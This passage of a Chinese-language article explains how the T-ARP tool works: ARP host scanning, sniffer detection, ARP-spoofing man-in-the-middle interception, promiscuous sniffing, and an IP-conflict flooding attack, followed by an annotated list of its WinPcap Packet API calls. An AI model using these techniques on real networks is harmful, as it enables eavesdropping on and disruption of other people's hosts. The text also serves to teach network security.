      无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。

      -m  以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。

      -a  以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。

      -s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。

      -s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。

      -s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。

      -r  在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。
     
四）T-ARP主要代码分析
    1> 自定义函数：
      int getmine()    //发送ARP Request数据报，请求获得本地主机的mac地址；
      void getdata(LPPACKET lp,int op)  //分类处理接收到的数据报；
      DWORD WINAPI sniff(LPVOID no)     //将网络适配器设置为混杂模式，接收所有流过的数据报；
      DWORD WINAPI sendMASR(LPVOID no)  //发送ARP Request数据报，请求获得指定ip的mac地址；
      DWORD WINAPI sendSR(LPVOID no)    //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。

    2> 主要代码分析
      printf("\nLibarary Version: %s",PacketGetVersion());  //输出dll的版本信息；

      PacketGetAdapterNames((char *)adaptername,&adapterlength)  //获得本地主机的网络适配器列表和描述；

      lpadapter=PacketOpenAdapter(adapterlist[open-1]);  //打开指定的网络适配器；

      PacketGetNetType(lpadapter,&ntype)  //获得网络适配器的MAC类型；

      PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)  //获得指定网络适配器的相关信息；

      rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);  //创建一个新线程来监听网络数据报；

      PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)  //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报；
      PacketSetBuff(lpadapter,500*1024)  //自定义网络适配器的内核缓的大小为 500*1024；

      PacketSetReadTimeout(lpadapter,1)  //设置接收一个数据报后等待的时间为1毫秒；

      PacketReceivePacket(lpadapter,lppacketr,TRUE)  //在设置为混杂模式后，接收所有的数据报；

      sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
      sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);  //创建一个新线程发送特定的ARP数据报

      PacketSetNumWrites(lpadapter,2)  //在发送一个数据报时，重复发送两次；

      PacketSendPacket(lpadapter,lppackets,TRUE)  //发送自定义数据报；
     
      WaitForSingleObject(sthread,INFINITE);  //等待发送ARP数据报的线程结束；

      PacketGetStats(lpadapter,&stat)  //获得网络适配器的统计信息；